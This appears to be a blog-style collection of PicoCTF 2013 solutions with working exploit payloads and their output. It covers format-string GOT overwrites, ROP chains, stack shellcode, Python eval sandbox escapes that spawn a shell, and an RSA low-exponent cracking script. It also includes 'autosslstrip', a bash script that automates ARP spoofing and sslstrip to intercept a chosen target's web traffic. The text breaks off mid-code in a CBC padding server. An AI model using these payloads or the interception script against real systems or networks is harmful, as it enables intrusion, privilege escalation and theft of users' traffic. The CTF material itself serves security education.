# offsetbruteforcer


$ cat offsetbruteforcer.py 
import subprocess
import struct

for i in xrange(1, 255):
 print i

 ### arg = "/bin/sh;" + struct.pack('B', i) + "\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*10 + "%hn" + "%134513561d" + "%n"
 ### program = "./format2"
 arg = ""
 program = ""

 output = subprocess.Popen([program, arg])
 output.communicate()

# PicoCTF 2k13 - Format 2


$ cat format2.c
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void be_nice_to_people() {
    // /bin/sh is usually symlinked to bash, which usually drops privs. Make
    // sure we don't drop privs if we exec bash, (ie if we call system()).
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
}

int main(int argc, const char **argv) {
    be_nice_to_people();
    char buf[80];
    snprintf(buf, 70, argv[1]);
    printf(buf);
    printf("\n");
    system("/bin/ls");
    exit(0);
}
$ objdump -R format2
format2:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a000 R_386_JUMP_SLOT   printf
0804a004 R_386_JUMP_SLOT   getegid
0804a008 R_386_JUMP_SLOT   system
0804a00c R_386_JUMP_SLOT   __gmon_start__
0804a010 R_386_JUMP_SLOT   exit
0804a014 R_386_JUMP_SLOT   __libc_start_main
0804a018 R_386_JUMP_SLOT   snprintf
0804a01c R_386_JUMP_SLOT   putchar
0804a020 R_386_JUMP_SLOT   setresgid
$ gdb -q format2
(gdb) x/xw 0x0804a008
0x804a008 : 0x080483e6
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804852d <+0>: push   ebp
   0x0804852e <+1>: mov    ebp,esp
   0x08048530 <+3>: and    esp,0xfffffff0
   0x08048533 <+6>: add    esp,0xffffff80
   0x08048536 <+9>: mov    eax,DWORD PTR [ebp+0xc]
   0x08048539 <+12>: mov    DWORD PTR [esp+0x1c],eax
   0x0804853d <+16>: mov    eax,gs:0x14
   0x08048543 <+22>: mov    DWORD PTR [esp+0x7c],eax
   0x08048547 <+26>: xor    eax,eax
   0x08048549 <+28>: call   0x8048504 <be_nice_to_people>
   0x0804854e <+33>: mov    eax,DWORD PTR [esp+0x1c]
   0x08048552 <+37>: add    eax,0x4
   0x08048555 <+40>: mov    eax,DWORD PTR [eax]
   0x08048557 <+42>: mov    DWORD PTR [esp+0x8],eax
   0x0804855b <+46>: mov    DWORD PTR [esp+0x4],0x46
   0x08048563 <+54>: lea    eax,[esp+0x2c]
   0x08048567 <+58>: mov    DWORD PTR [esp],eax
   0x0804856a <+61>: call   0x8048420 <snprintf@plt>
   0x0804856f <+66>: lea    eax,[esp+0x2c]
   0x08048573 <+70>: mov    DWORD PTR [esp],eax
   0x08048576 <+73>: call   0x80483c0 <printf@plt>
   0x0804857b <+78>: mov    DWORD PTR [esp],0xa
   0x08048582 <+85>: call   0x8048430 <putchar@plt>
   0x08048587 <+90>: mov    DWORD PTR [esp],0x8048670
   0x0804858e <+97>: call   0x80483e0 <system@plt>
   0x08048593 <+102>: mov    DWORD PTR [esp],0x0
   0x0804859a <+109>: call   0x8048400 <exit@plt>
End of assembler dump.
$ # 0x804a000 <printf@got.plt>: 0x080483c6 --> 0x080483e6
$ ltrace ./format2 `python -c 'print "/bin/sh;" + "\x02\xd6\xff\xff" + "\x0f\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*9 + "%.31x" + "%hn" + "%hn" + "%134513534d" + "%n"'`
__libc_start_main(0x804852d, 2, -10508, 0x80485a0, 0x8048610 <unfinished ...>
getegid()                                                                                                           = 8013
setresgid(8013, 8013, 8013, 0xf7ffd918, 0)                                                                          = 0
snprintf("/bin/sh", 70, "/bin/sh;\002\326\377\377\017\326"..., 0xf7ff249c, 0xffffd694, 0, 0)                        = 134513638
printf("/bin/sh"sh-4.2$ id
uid=8013(user6748) gid=8013(user6748) groups=8013(user6748)
$ ./format2 `python -c 'print "/bin/sh;" + "\x02\xd6\xff\xff" + "\x0f\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*9 + "%.31x" + "%hn" + "%hn" + "%134513534d" + "%n"'`
Segmentation fault
$ # 0x804a000 <printf@got.plt>: 0x080483c6 --> 0x080483e6
$ ltrace ./format2 `python -c 'print "/bin/sh;" + "\x1b\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*10 + "%hn" + "%134513561d" + "%n"'`
__libc_start_main(0x804852d, 2, -10492, 0x80485a0, 0x8048610 <unfinished ...>
getegid()                                                                                                           = 8013
setresgid(8013, 8013, 8013, 0xf7ffd918, 0)                                                                          = 0
snprintf("/bin/sh;\033\326\377\377\220\220\220M", 70, "/bin/sh;\033\326\377\377\220\220"..., 0xf7ff249c, 0xffffd6a4, 0, 0, 0xffffd704, 0x80482cb) = 134513638
printf("/bin/sh;\033\326\377\377\220\220"...sh-4.2$ id
uid=8013(user6748) gid=8013(user6748) groups=8013(user6748)
$ ./format2 `python -c 'print "/bin/sh;" + "\x1b\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*10 + "%hn" + "%134513561d" + "%n"'`
Illegal instruction
$ # 0x804a01c <putchar@got.plt>: 0x08048436 --> 0x0804858e
$ export PATH=$PATH:$HOME
$ ln -s /bin/dash $HOME/$'\307\004\206\004\b\350M\376\377\377\307\004$'
$ ./format2 `python -c 'print "\x1c\xa0\x04\x08" + "%134514058d" + "%9$n"'`
$ id
uid=8013(user6748) gid=3006(format2) groups=8013(user6748)
$ cat key
now_youre_a_format_string_master

# autosslstrip: Automating sslstrip


# cat autosslstrip 
#!/bin/bash

ACTION="$1"
INTERFACE="$2"
TARGET="$3"
GATEWAY="$4"
LOGFILE="$5"
DEBUG="$6"

SS_PORT=44380

if [ "$DEBUG" != "--debug" ]; then
 exec 2> /dev/null
fi

function forward {
 echo $1 > /proc/sys/net/ipv4/ip_forward
}

function killtail {
 logfile=`ps axuf | grep sslstrip | grep ' hook'`
 if [ "`echo $logfile | grep '\-\-debug'`" != "" ]; then
  logfile=`echo "$logfile" | awk '{print $(NF-1)}'`
 else
  logfile=`echo "$logfile" | awk '{print $NF}'`

 fi
 pid=`ps axuf | grep tail | grep $logfile | awk '{print $2}'`
 kill -9 $pid
}

function dotail {
 touch $LOGFILE
 tail -f $LOGFILE \
 | stdbuf -oL grep -A 10 'Sending Request: ' \
 | stdbuf -oL grep -e 'Sending Request: ' -e 'header: host' \
 | stdbuf -oL grep -A 1 -v -e 'host' -e '.bmp' -e '.css' -e '.gif' -e '.ico' -e '.jpg' -e '.js' -e '.png'  -e '.swf' -e '.woff' \
 | stdbuf -oL grep -v -e '--' \
 | stdbuf -oL sed -e 's/.*: host : \(.*\)/HOST \1\n/' -e 's/.*Request: //'
}

function redirect {
 action="$1"
 iptables --table nat $action PREROUTING \
   --in-interface $INTERFACE --protocol tcp --destination-port 80 --jump REDIRECT --to-port $SS_PORT
}

function main {
 if [ "$ACTION" == "hook" ]; then
  forward 1
   redirect --append
  arpspoof -i $INTERFACE -t $TARGET $GATEWAY > /dev/null 2>&1 &
  sslstrip --all --killsessions --listen=$SS_PORT --write=$LOGFILE > /dev/null 2>&1 &
  dotail
 elif [ "$ACTION" == "unhook" ]; then
  killtail
  killall sslstrip
  killall arpspoof
  redirect --delete
  forward 0
 fi
}

main
# ./autosslstrip hook eth0 10.0.1.10 10.0.1.1 /tmp/log.txt --debug
# ./autosslstrip unhook eth0

# PicoCTF 2k13 - Broken RSA


# cat broken_rsa_source.py 
#!/usr/bin/env python
import os
from Crypto.PublicKey import RSA
import SocketServer
import threading
import time

flag = "RSA_isn't_so_great_after_all?!"

class threadedserver(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    pass

class incoming(SocketServer.BaseRequestHandler):
  def handle(self):
    cur_thread = threading.current_thread()
    welcome = """
*******************************************
***             Welcome to the          ***
***    FlAg EnCrYpTiOn SeRviCe 9000!    ***
*******************************************

We encrypt the flags, you get the points!
"""
    self.request.send(welcome)
    rsa = RSA.generate(1024,os.urandom)
    n = getattr(rsa,'n')

    #no one will ever be able to solve our super challenge!
    self.request.send("To prove how secure our service is ")
    self.request.send("here is an encrypted flag:\n")
    self.request.send("==================================\n")
    self.request.send(hex(pow(int(flag.encode("hex"), 16),3,n)))
    self.request.send("\n==================================\n")
    self.request.send("Find the plaintext and we'll give you points\n\n")
    
    while True:
      self.request.send("\nNow enter a message you wish to encrypt: ")
      m = self.request.recv(1024)
      self.request.send("Your super unreadable ciphertext is:\n")
      self.request.send("==================================\n")
      self.request.send(hex(pow(int(m.encode("hex"), 16),3,n))) 
      self.request.send("\n==================================\n")

server = threadedserver(("0.0.0.0", 6666), incoming)
server.timeout = 4
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()

server_thread.join()
# cat crack_rsa.py 
#!/usr/bin/python

import collections
import gmpy
import re
import socket
import time

HOST = 'localhost'
PORT = 6666
NC   = 3
NM   = 3

cf = []
n  = []

def egcd(a, b):
 if a == 0:
  return (b, 0, 1)
 else:
  g, y, x = egcd(b % a, a)
  return (g, x - (b // a) * y, y)

def modinv(a, m):
 g, x, y = egcd(a, m)
 if g != 1:
  return None  # modular inverse does not exist
 else:
  return x % m

def chinese_remainder_theorem(cf, n):
 if coprime(n):
  a0 = n[1] * n[2]
  a1 = n[0] * n[2]
  a2 = n[0] * n[1]
  b0 = modinv(a0, n[0])
  b1 = modinv(a1, n[1])
  b2 = modinv(a2, n[2])
  c0 = cf[0]
  c1 = cf[1]
  c2 = cf[2]
  return ((a0 * b0 * c0) + (a1 * b1 * c1) + (a2 * b2 * c2)) % (n[0] * n[1] * n[2])
 else:
  return 'The numbers are not coprimes'

def coprime(n):
 l = len(n)
 for i in range(l):
  a = i % l 
  b = (i + 1) % l
  if gmpy.gcd(n[a], n[b]) != 1:
   return False
 return True
 
class Connection:
 def __init__(self, h, p, nm):
  self.sleep = 0.2
  self.size = 50
  self.nm = nm
  self.message = []
  self.i_message = []
  for i in range(self.nm):
   s = str(i) * self.size
   self.message.append(s)
   self.i_message.append(self.m_to_int(s))
  self.server_socket = (h, p)
 def connect(self):
  self.cmessage = [ '', '', '' ]
  self.i_cmessage = [ '', '', '' ]
  self.cflag = ''
  self.n = ''
  self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  self.client.connect(self.server_socket)
 def get_cipher_flag(self):
  self.client.recv(1024)
  time.sleep(self.sleep)
  self.cflag = int(re.search('0x.*', self.client.recv(1024)).group(0)[2:-1], 16)
  print 'cflag = ', self.cflag
 def get_cipher_message(self, num):
  self.client.send(self.message[num])
  self.client.recv(1024)
  time.sleep(self.sleep)
  self.cmessage[num] = re.search('0x.*', self.client.recv(1024)).group(0)
  self.i_cmessage[num] = self.cm_to_int(self.cmessage[num])
 def m_to_int(self, s):
  exp = 3
  return pow(int(s.encode('hex'), 16), exp)
 def cm_to_int(self, s):
  return int(s[2:-1], 16)
 def get_gcd(self):
  c = collections.Counter()
  for i in range(self.nm):
   n = i % self.nm 
   m = (i + 1) % self.nm
   c[gmpy.gcd(self.i_message[n] - self.i_cmessage[n], self.i_message[m] - self.i_cmessage[m])] += 1
  n = c.most_common(1)[0]
  if n[0] > 1:
   print 'n     = ', n[0]
   self.n = gmpy.mpz(n[0])
 def disconnect(self):
  self.client.close()

c = Connection(HOST, PORT, NM)
for i in range(NC):
 c.connect()
 c.get_cipher_flag()
 for j in range(NM):
  c.get_cipher_message(j)
 c.get_gcd()
 cf.append(c.cflag)
 n.append(c.n)
 c.disconnect()

crt = chinese_remainder_theorem(cf, n)
print hex(int(gmpy.mpz(crt).root(3)[0]))[2:-1].decode('hex')
# ./crack_rsa.py
cflag =  183432220267576292492132231787500365567429443254723902370093717268660821440942897692891409209336083625860622526532735669405478985976131391373638097071941387759145613334518590037634953987431887257447884479468348868961
n     =  135953784270768443683613403195167981915031252138094570429369041989727851055124422396867423943809003975436286026628304014780104754769108750066849076612355407811413680217618966981934851066430783270443526817656919939971313423309707876858646782024226363140350626824949333424034972566150688727067529487352636390043
cflag =  183432220267576292492132231787500365567429443254723902370093717268660821440942897692891409209336083625860622526532735669405478985976131391373638097071941387759145613334518590037634953987431887257447884479468348868961
n     =  147426225645417139553342358404886645198529522490352691359839782491873450611461887111145469995954618522250637992779925978401830015610097593122018203880703073585636063945771347245716348603489552232317048688060505292755946373819909981955997660918014633102382919198924439017502469967016198925492585769516272283379
cflag =  183432220267576292492132231787500365567429443254723902370093717268660821440942897692891409209336083625860622526532735669405478985976131391373638097071941387759145613334518590037634953987431887257447884479468348868961
n     =  627332965352768740770155366254106959845300172492870722009973118834731530296849175221538708067947689697177943580184423563532887600462655450044573132748970903250245024373466833416970187734469135829450190039040909806348483319266202748803421327450659922751634580246585367885974686043464239023205128753870103334908
RSA_isn't_so_great_after_all?!

# PicoCTF 2k13 - ROP 4


$ cat /problems/ROP_4_887f7f28b1f64d7e/rop4.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char exec_string[20];

void exec_the_string() {
 execlp(exec_string, exec_string, NULL);
}

void call_me_with_cafebabe(int cafebabe) {
 if (cafebabe == 0xcafebabe) {
  strcpy(exec_string, "/sh");
 }
}

void call_me_with_two_args(int deadbeef, int cafebabe) {
 if (cafebabe == 0xcafebabe && deadbeef == 0xdeadbeef) {
  strcpy(exec_string, "/bin");
 }
}

void vulnerable_function() {
 char buf[128];
 read(STDIN_FILENO, buf, 512);
}

void be_nice_to_people() {
 // /bin/sh is usually symlinked to bash, which usually drops privs. Make
 // sure we don't drop privs if we exec bash, (ie if we call system()).
 gid_t gid = getegid();
 setresgid(gid, gid, gid);
}

int main(int argc, char** argv) {
 exec_string[0] = '\0';
 be_nice_to_people();
 vulnerable_function();
}
$ ln -s /problems/ROP_4_887f7f28b1f64d7e/rop4 rop4
$ ./getenvadrr SHELL ./rop4
SHELL will be at 0xffffd881
$ objdump -t rop4 | grep execlp
08053ab0 g     F .text 0000012a execlp
$ (python -c 'print "\x90"*140 + "\xb0\x3a\x05\x08" + "\x87\xd8\xff\xff"*2 + "\x00"*4'; cat) | ./rop4
cat /problems/ROP_4_887f7f28b1f64d7e/key
fluent_in_roponese

# PicoCTF 2k13 - Overflow 4


$ cat buffer_overflow_shellcode.c 
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

/*
 * Goal: Get the program to run a shell.
 */

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 21, (void **) &str);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: buffer_overflow_shellcode [str]\n");
        return 1;
    }

    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    vuln(argv[1]);
    return 0;
}
$ cat shellcode-ascii
\x31\xc0\xf7\xe9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2d\x70\x69\x69\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80
$ ./buffer_overflow_shellcode `python -c 'print "\x31\xc0\xf7\xe9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2d\x70\x69\x69\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90"*42 + "\xa0\xd5\xff\xff"'`
Stack dump:
0xffffd5f0: 0xffffd700 (first argument)
0xffffd5ec: 0xffffd5a0 (saved eip)
0xffffd5e8: 0x90909090 (saved ebp)
0xffffd5e4: 0x90909090
0xffffd5e0: 0x90909090
0xffffd5dc: 0x90909090
0xffffd5d8: 0x90909090
0xffffd5d4: 0x90909090
0xffffd5d0: 0x90909090
0xffffd5cc: 0x90909090
0xffffd5c8: 0x90909090
0xffffd5c4: 0x90909090
0xffffd5c0: 0x909080cd
0xffffd5bc: 0x0bb0e189
0xffffd5b8: 0x535650e6
0xffffd5b4: 0x89696970
0xffffd5b0: 0x2d6850e3
0xffffd5ac: 0x896e6962
0xffffd5a8: 0x2f686873
0xffffd5a4: 0x2f2f6850
0xffffd5a0: 0xe9f7c031 (beginning of buffer)
sh-4.2$ cat key
with_great_shellcode_comes_great_responsibility

# PicoCTF 2k13 - ROP 3


$ cat /problems/ROP_3_7f3312fe43c46d26/rop3.c 
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function()  {
 char buf[128];
 read(STDIN_FILENO, buf,256);
}

void be_nice_to_people() {
 // /bin/sh is usually symlinked to bash, which usually drops privs. Make
 // sure we don't drop privs if we exec bash, (ie if we call system()).
 gid_t gid = getegid();
 setresgid(gid, gid, gid);
}

int main(int argc, char** argv) {
        be_nice_to_people();
 vulnerable_function();
 write(STDOUT_FILENO, "Hello, World\n", 13);
}
$ export | grep SHELL
export SHELL="/bin/sh"
$ ln -s /problems/ROP_3_7f3312fe43c46d26/rop3 rop3
$ ./getenvaddr SHELL ./rop3
SHELL will be at 0xffffd881
$ gdb rop3
(gdb) break main
(gdb) run
(gdb) print system
$1 = {<text variable, no debug info>} 0xf7e68250 <system>
(gdb) print exit
$2 = {<text variable, no debug info>} 0xf7e5bf30 <exit>
$ (python -c 'print "\x90"*140 + "\x50\x82\xe6\xf7" + "\x30\xbf\xe5\xf7" + "\x87\xd8\xff\xff"'; cat) | ./rop3
cat /problems/ROP_3_7f3312fe43c46d26/key
rop_rop_rop_all_the_way_home

# PicoCTF 2k13 - Python Eval 5


# cat task5.py 
#!/usr/bin/python -u
# task5.py
# A real challenge for those python masters out there :)

from sys import modules
modules.clear()
del modules

_raw_input = raw_input
_BaseException = BaseException
_EOFError = EOFError

__builtins__.__dict__.clear()
__builtins__ = None

print 'Get a shell, if you can...'

while 1:
  try:
    d = {'x':None}
    exec 'x='+_raw_input()[:50] in d
    print 'Return Value:', d['x']
  except _EOFError, e:
    raise e
  except _BaseException, e:
    print 'Exception:', e
# nc python.picoctf.com 6365
Get a shell, if you can...
().__class__.__base__.__subclasses__()[53]
Return Value: <class 'warnings.catch_warnings'>
__builtins__
Return Value: {}
# ipython
In [1]: for c in "().__class__.__base__.__subclasses__()[53].__init__.func_globals['linecache'].__dict__['os'].system('sh')":
   ...:     print "__builtins__['x'] = __builtins__['x'] + " + '"' + c + '"'
   ...:
# nc python.picoctf.com 6365
Get a shell, if you can...
__builtins__['x'] = ''
__builtins__['x'] = __builtins__['x'] + "("
__builtins__['x'] = __builtins__['x'] + ")"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "c"
__builtins__['x'] = __builtins__['x'] + "l"
__builtins__['x'] = __builtins__['x'] + "a"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "b"
__builtins__['x'] = __builtins__['x'] + "a"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "e"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "u"
__builtins__['x'] = __builtins__['x'] + "b"
__builtins__['x'] = __builtins__['x'] + "c"
__builtins__['x'] = __builtins__['x'] + "l"
__builtins__['x'] = __builtins__['x'] + "a"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "e"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "("
__builtins__['x'] = __builtins__['x'] + ")"
__builtins__['x'] = __builtins__['x'] + "["
__builtins__['x'] = __builtins__['x'] + "5"
__builtins__['x'] = __builtins__['x'] + "3"
__builtins__['x'] = __builtins__['x'] + "]"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "i"
__builtins__['x'] = __builtins__['x'] + "n"
__builtins__['x'] = __builtins__['x'] + "i"
__builtins__['x'] = __builtins__['x'] + "t"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "f"
__builtins__['x'] = __builtins__['x'] + "u"
__builtins__['x'] = __builtins__['x'] + "n"
__builtins__['x'] = __builtins__['x'] + "c"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "g"
__builtins__['x'] = __builtins__['x'] + "l"
__builtins__['x'] = __builtins__['x'] + "o"
__builtins__['x'] = __builtins__['x'] + "b"
__builtins__['x'] = __builtins__['x'] + "a"
__builtins__['x'] = __builtins__['x'] + "l"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "["
__builtins__['x'] = __builtins__['x'] + "'"
__builtins__['x'] = __builtins__['x'] + "l"
__builtins__['x'] = __builtins__['x'] + "i"
__builtins__['x'] = __builtins__['x'] + "n"
__builtins__['x'] = __builtins__['x'] + "e"
__builtins__['x'] = __builtins__['x'] + "c"
__builtins__['x'] = __builtins__['x'] + "a"
__builtins__['x'] = __builtins__['x'] + "c"
__builtins__['x'] = __builtins__['x'] + "h"
__builtins__['x'] = __builtins__['x'] + "e"
__builtins__['x'] = __builtins__['x'] + "'"
__builtins__['x'] = __builtins__['x'] + "]"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "d"
__builtins__['x'] = __builtins__['x'] + "i"
__builtins__['x'] = __builtins__['x'] + "c"
__builtins__['x'] = __builtins__['x'] + "t"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "_"
__builtins__['x'] = __builtins__['x'] + "["
__builtins__['x'] = __builtins__['x'] + "'"
__builtins__['x'] = __builtins__['x'] + "o"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "'"
__builtins__['x'] = __builtins__['x'] + "]"
__builtins__['x'] = __builtins__['x'] + "."
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "y"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "t"
__builtins__['x'] = __builtins__['x'] + "e"
__builtins__['x'] = __builtins__['x'] + "m"
__builtins__['x'] = __builtins__['x'] + "("
__builtins__['x'] = __builtins__['x'] + "'"
__builtins__['x'] = __builtins__['x'] + "s"
__builtins__['x'] = __builtins__['x'] + "h"
__builtins__['x'] = __builtins__['x'] + "'"
__builtins__['x'] = __builtins__['x'] + ")"
None; exec __builtins__['x']
ls -lh
total 12K
-rw-r----- 1 root py5  26 Apr 26  2013 flag_for_masters
-rwxr-x--- 1 root py5  59 Apr 27  2013 run.sh
-rwxr-x--- 1 root py5 501 Apr 26  2013 task5.py
cat flag_for_masters
you_are_the_pyeval_master

# PicoCTF 2k13 - Python Eval 4


# cat task4.py 
#!/usr/bin/python -u
# task4.py
from BaseHTTPServer import HTTPServer,BaseHTTPRequestHandler
from SocketServer import ForkingMixIn
from cgi import escape
from os import path
from sys import stdin,stdout
import traceback

# Make a simple HTML page from the given content
def makepage(title, content, headers=""):
 return """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>%s</title>
%s
</head>
<body>
%s
</body>
</html>
""" % (escape(title), headers, content)

# from urlparse import urlparse, parse_qs
# uri = urlparse(self.path.lstrip('/'))
# filepath = os.path.normpath(uri.path)
# query = parse_qs(uri.query)

# Some URL parsing helper functions
def getPathFromURL(url):
 temp = url.split('/', 1)[1] # Split away the domain name
 return temp.split('?', 1)[0] # Return everything before the query.

def getQueryDictFromURL(url):
 query = None
 temp = url.rsplit('?', 1)
 if len(temp) == 1:
  # No query string!
  query = {}
 else:
  temp = temp[1].rsplit('#', 1)[0] # Split away fragment id
  temp = temp.replace('=', '":"').replace('&', '","') # Turn into python dictonary syntax
  query = eval('{"' + temp + '"}')
  
  # Un-percent encode query items
  for k in query:
   temp = query[k].split('%')
   for i in range(1, len(temp)):
    temp[i] = eval('"\\x' + temp[i][:2] + '"') + temp[i][2:]
   query[k] = ''.join(temp)
 
 return query

# The server
class MyHandler(BaseHTTPRequestHandler):
 # Customize error messages a bit; not important
 def send_error(self, code, message=None):
  self.send_response(code)
  self.send_header('Content-Type', self.error_content_type)
  self.end_headers()
  content = "<h1>%d %s</h1>" % (code, self.responses[code][0] if message == None else message)
  self.wfile.write(makepage("Error %d" % code, content))
 
 # This is the main function
 def do_GET(self):
  try:
   
   # Parse the URL
   filepath = getPathFromURL(self.path)
   query = getQueryDictFromURL(self.path)
   
   if not path.exists(filepath):
    # Non-existent file!
    self.send_error(404)
   
   elif filepath in ('index.html', 'stage1.html', 'stage2.html', 'stage3.html', 'stage4.html'):
    self.send_response(200)
    self.send_header('Content-type','text/html')
    self.end_headers()
    with open(filepath) as f:
     self.wfile.write(f.read())
   
   elif filepath=='task4.py':
    self.send_response(200)
    self.send_header('Content-type','text/plain')
    self.end_headers()
    with open(filepath) as f:
     self.wfile.write(f.read())
    
   else:
    # Now allowed!
    self.send_error(403)
  
  except:
   # Show people the mess they caused!
   self.send_response(500)
   self.send_header('Content-type','text/html')
   self.end_headers()
   from sys import exc_type
   self.wfile.write(makepage("Traceback %s" % str(exc_type), "<pre>%s</pre>" % escape(traceback.format_exc())))

# To make it easier to play around with this, we'll communicate over stdin/stdout
# like the other exercises instead of listening and forking like a real server.
# A program external to this script handles turning it into a network service.

class MyStdioHandler(MyHandler):
  def __init__(self):
    MyHandler.__init__(self, None, 'derp', None)
  def setup(self):
    self.rfile = stdin
    self.wfile = stdout
  def log_message(format, *args):
    pass

MyStdioHandler()

#
# Instead of the above ~10 lines of code, the following turns this
# script into a server on its own.
#
# Serves multiple requests at the same time
# class ForkingHTTPServer(ForkingMixIn, HTTPServer):
#   timeout = 10
#   max_children = 1000
#
# if __name__ == "__main__":
#   server = ForkingHTTPServer(('', 6364), MyHandler)
#   try:
#     print "Server started on port {0.server_port}, press <Ctrl-C> to exit.".format(server)
#     server.serve_forever()
#   except KeyboardInterrupt:
#     pass
#   finally:
#     server.server_close()
#   print "Server closed."
# nc python.picoctf.com 6364
GET /?"+(__builtins__.__import__('os').execl('/bin/sh','sh'))+"

ls -l
total 56
-rw-r----- 1 root py4   457 Apr 26  2013 index.html
-rwxr-x--- 1 root py4    59 Apr 27  2013 run.sh
-rw-r----- 1 root py4  8191 Apr 26  2013 stage1.html
-rw-r----- 1 root py4  8676 Apr 26  2013 stage2.html
-rw-r----- 1 root py4 15230 Apr 26  2013 stage3.html
-rw-r----- 1 root py4  1282 Apr 26  2013 stage4.html
-rw-r----- 1 root py4    33 Apr 26  2013 super_awesome_flag
-rwxr-x--- 1 root py4  3870 Apr 26  2013 task4.py
cat super_awesome_flag
kids_dont_code_like_this_at_home

# PicoCTF 2k13 - Broken CBC


# cat cbc_server.py
#!/usr/bin/env python
import os
from Crypto.Cipher import AES
import SocketServer
import threading
import time

#actual key and iv go here...
key = "00000000000000000000000000000000".decode("hex")
iv  = "00000000000000000000000000000000".decode("hex")

def pkcs(msg):
  print msg.encode("hex")
  padding_length = ord(msg[-1])
  padding = msg[-padding_length:]
  print padding.encode("hex")
  if (padding != (chr(padding_length)*padding_length)):
    print (chr(padding_length)*padding_length).encode("hex")
    return None
  return msg[:-padding_length]

def decrypt(cipher,enc):
  print enc,((len(enc) % 16) != 0)
  dec = ""
  if ((len(enc) % 16) != 0):
    return (False,"Error: cipher length must be a multiple of 16\n")
  dec = cipher.decrypt(enc)
  msg = pkcs(dec)
  if msg is None:
    return (False,"Error: incorrect padding\n")
  return (True,msg)

def process(cmd):
  # Message is like HERE_IS_COMMAND:cmd
  # eg "HERE_IS_COMMAND:help"
  
  cmd = cmd[16:] #ignore the COMMAND: part, it's all the same anyhow
  
  if (cmd == "help"):
    return "Commands:\n\thelp - this\n\tflag - prints out the flag\n\tnyan - prints out a nyan cat\n"
  if (cmd == "flag"):
    return "key: XXX TRY TO READ ME XXX"
  if (cmd == "nyan"):
    return """
+      o     +              o   
    +             o     +       +
o          +
    o  +           +        +
+        o     o       +        o
-_-_-_-_-_-_-_,------,      o 
_-_-_-_-_-_-_-|   /\_/\  
-_-_-_-_-_-_-~|__( ^ .^)  +     +  
_-_-_-_-_-_-_-""  ""      
+      o         o   +       o
    +         +
o        o         o      o     +
    o           +
+      +     o        o      +    
"""
  return "Invalid command. See help for a list of commands\n"

class threadedserver(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    pass

class incoming(SocketServer.BaseRequestHandler):
  def handle(self):
    cur_thread = threading.current_thread()
    welcome = """
Enter your encrypted command:
"""
    self.request.send(welcome)
    while True:
      m = self.request.recv(1024)
      cipher = AES.new(key, AES.MODE_CBC, iv)
      success,cmd = decrypt(cipher,m[:-1]) #discard newline
      if (success):
        self.request.send(process(cmd))
      else:
